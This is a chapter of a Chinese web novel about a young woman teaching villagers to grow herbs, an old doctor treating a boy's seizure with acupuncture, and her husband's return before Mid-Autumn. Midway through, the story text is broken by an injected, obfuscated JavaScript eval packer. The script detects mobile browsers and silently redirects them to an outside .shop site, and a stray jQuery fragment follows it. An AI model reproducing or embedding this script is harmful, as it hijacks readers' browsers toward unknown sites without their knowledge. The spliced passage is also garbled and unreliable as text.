徐茂春有些看不懂林青,一般人自己有手艺都捂着藏着,生怕别人学了去。林青倒是大方,教全村种药材,就不怕村民抢了她的生意?
林青:“吃亏是福。”
徐茂春冷哼,“是福也没见你多吃,说说吧,怎么想的、什么打算?”
老头不好糊弄,林青摸摸鼻子,“其实大家种,益处更多。”她给徐茂春讲规模种植的好处,很重要的一点就是提高供给能力。
就她一个种,还得自己找买家,一两个药铺根本用不了那么多药材,若是全村种,形成小规模,买家自然找上门。就他们村这点土地,全部种上药材也没多少,不会造成供大于求的局面,也就不会拉低价格。
“还有一点,利可共而不可独,如果全村只有我一个靠种药材发家致富,像这次毁药田的事会时常发生,苗长在地里,我不能天天守着。”人性的丑恶和自私不容忽视。“至于能学到什么程度,那就看他们自己本事了,种粟种豆也不是人人都种得好。”
其实还有一点林青没有说,古代农民生存不易,地产薄、赋税重,辛苦一年勉强温饱,旺山村的村民穿的衣服几乎都带补丁,里正都没有几件好衣服。
贫穷使人卑微,这几日村民见她都小心翼翼,她家地里的草都被拔得干干净净,但林青并不喜欢被讨好。徐茂春说人穷不能志短,实际上贫穷就是能让人没有骨气。她不是圣母,只是在不影响自己的前提下,能帮一把就帮一把。
“不利而利之,你帮了村民,他们也会帮你,旺山村会记得你的好,难得你小小年纪想得这般通透。”他外孙眼光不错,外孙媳妇可不是一般村妇。
想起外孙徐茂春问:“都月中了,宋彦怎么还不回来?”老头惦记外孙,天天数着日子。
“呀,中秋了,明儿去买肉。”
“买什么肉,你相公没回你不担心?”徐茂春不满地敲敲摇椅扶手。
“那么大的人用得着我担心?再说他远在府城我担心也没用啊。”林青狐疑地看向徐茂春,“外公,您怎么比我还关心宋彦啊?他又不是您真外孙。”
徐茂春不说话了,在林家的这段日子,他与三个孩子相处得很好,继续瞒下去有点不地道,有心想说又不好意思开口。
这时出去玩的林峥,急匆匆跑回来,“姐、姐,不好了。”
“什么不好了,大热天你跑什么。”林青抓过小孩儿给他擦脑门上的汗。
林峥胡乱地抹了一把脸,“杨二牛抽了。”
“什么?抽什么?”还不等林青问清楚。大门口突然涌进来几个人。
林青迎过去,“你们这是?”
曲氏抱着儿子,一脸焦急:“林青,你救救二牛吧,他又犯病了。”她怀里的孩子全身抽搐、面色青紫、嘴角还有血流出。
林青吓得往后退,“我不是郎中,你们快去镇上医馆,我不会看病啊。”
跟着来的妇人道:“你都能种药做药,不能看病?这孩子都这样儿了,镇子那么远,万一半道上、”死了咋办。
这根本就是两码事啊,林青又急又气。
正在这时,堂屋里的徐茂春喊道:“把孩子抱进来。”
院里的人不明所以,林青一拍脑门,急糊涂了,徐茂春是郎中啊。“曲婶,快把二牛抱进去,我外公是郎中。”
曲氏赶紧抱着孩子进屋,随徐茂春进西屋把孩子放到床上。徐茂春从柜子里拿出一个布包,打开后里面装着一排粗细长短都不等的银针。
几个妇人见闪着寒光的银针,心里一紧脚步不自觉地后退,徐茂春看他们一眼,让林青过来帮忙。
林青给按住手脚,徐茂春在孩子的虎口和面部穴位分别下针,几息间二牛的抽搐便慢慢好转,不消片刻便安静下来。
徐茂春捏开孩子的嘴看了看,“舌头破了,下次再犯病记得找块布塞进嘴里。”
“下、下次?”曲氏两手揪着衣角,很是无措,“还会犯病?”
“这不是第一次吧?”
曲氏一边抹眼泪一边摇头,“不不是、”她连句完整的话都说不出来。
“我来说吧。”跟着一起来的妇人道,“二牛三岁时从树上摔下来,自那以后抽过几回,以前是抽一会就好了,都不严重。这孩子今年八岁,差不多有两年没犯过了,都以为他好了呢,谁知刚刚在村口那谁家的黄牛奔过来,他就突然抽了,她娘叫了半天都没反应,这才抱过来找林青。”
曲氏一脸痛苦地问徐茂春:“我儿这病治不好吗?”
“不好说,这可能是最后一次,也可能伴随他一生。”徐茂春实话实说,有些人小时候发羊癫疯,长大便痊愈,而有的人断断续续持续一生。没有特别管用的药,如果能在发作时立刻施针缓解,病人不会有危险,问题是怎么可能恰好有会针灸的郎中在。
“今后注意别让孩子受惊吓,我写个方子,抓几副药回来给孩子吃。”徐茂春提笔写下药方,然后交给曲氏。“你也不用着急上火,孩子还小,将养几年说不定就好了,这几天你领他过来,我再给他扎几针。”
“哎,多谢她外公。”曲氏接过药方,给徐茂春鞠了一躬。
徐茂春摆摆手,过去床边拔针。此时杨二牛已经醒了,脸色也缓和了许多,只是人有些呆呆的。又过了大概一刻钟,曲氏千恩万谢背着儿子走了。
林青叹气,癫痫病因在脑部,在现代都不好治,何况是现在,不过徐茂春这一手针灸真是厉害。“外公,您真厉害,几针下去二牛就不抽了。”
刚来时徐茂春不爱说自己的事,林青也不好多问,现在才知道老爷子的针灸术这般厉害。“比吃药可快多了。”
就刚刚杨二牛的样子,嘴巴咬得死死的,即便有药都喂不进去。“针灸当真是神奇。”
徐茂春把银针擦干净,收在包中,随口问道:“你想学?”
林青:“我多大了还学。”
徐茂春看她一眼:“多大?十五岁很大?”
对哦,十五,上辈子还没上高中呢,学啥来不及啊。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12226551|126421||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林青跃跃欲试,可仔细一想便冷静下来,弟妹要养活,家中诸事要操心,她哪里能静得下心学针灸,还是把手上的事做好吧。
徐茂春没强求,林青若是男孩子,收他做徒弟无不可,这孩子心性稳很适合学,可林青是女娃又是外孙媳妇,诸多不宜啊。
第二天吃过早饭,林青打算去镇上,明日是中秋,她想买些肉回来过节。两个小的也要跟着去,徐茂春挥挥手:“都去吧,我看家。”
于是姐三个准备坐车,到张家一看院里等了不少人,张德的牛车除了过年那几天,也就这个时候坐不下人。
这么多人挤在车上,大热的天肯定不好受,林青犯了难,她跟林峥林冬打商量:“要不改天姐再带你们去?”
这时李拐媳妇吴氏挎着篮子和两个妇人走过来,“青丫头,你家秀才好像回来了。”
“姐夫?!”林峥立马从垂头丧气变成兴高采烈,撒腿就往村外跑,“我去找姐夫。”
“你慢点。”林青领着妹妹也往村口去。
吴氏啧啧道:“这丫头平时看着没事人似的,听说自家男人回来,这不也挺急。”
一旁的妇人道:“人家小夫妻成亲才多久,能不想吗?你孩子都生了,你男人回来不也火急火燎的。”修城墙的男人们终于赶在中秋前回来了。
吴氏扶了扶发髻,“呸,老娘才不稀罕他。”
一辆马车缓缓驶来,车夫见有孩子跑近,赶紧勒住缰绳,宋彦下了马车。
“姐夫!”林峥扑到宋彦腿上,“姐夫,你终于回来了,我可想你了。”
“乖!”宋彦摸摸小孩儿的发顶,然后一脸温柔地看向林青。
林青看着瘦了不少的人,笑着道:“回来了!”她好不容易给养胖了点,这才走一个月就又瘦回去了,书院的伙食应该不咋地,林青心想。
“嗯,回来了。”宋彦穿着林青后来送去的月白色长衫,眉眼都带着笑意,像是画上走出来的翩翩公子。
林青只觉心头一颤,赶紧别开眼,“走吧,回家。”
几个妇人都觉得开了眼了,“宋秀才可真俊,像是大户人家的贵公子。”
“原来他会笑,都没见他笑过,还得是人家林青。”以前宋秀才见到着他们都板着一张脸,几乎没有笑模样,这见了林青,笑得温柔又多情。
吴氏翻了个白眼,心想别人跟自己媳妇能一样嘛。“林青也不差,两人算得上良才女貌。”
“可不是嘛,青丫头出挑得越发标致了。”几个妇人突然发现,以前那个干瘪的林家丫头漂亮了,“唉吆,难怪宋秀才移不开眼,把村里的姑娘都比下去了。”
林青领着妹妹,宋彦牵着林峥,四人慢慢往家走,路过的村民热情地打招呼。
“宋秀才回来了。”
“宋秀才!好久不见。”
走到家门口,没进院林峥就喊:“外公,姐夫回来了!”
徐茂春正在摇椅上喝茶,听到这话,一口茶全喷了出来,外孙回来了?!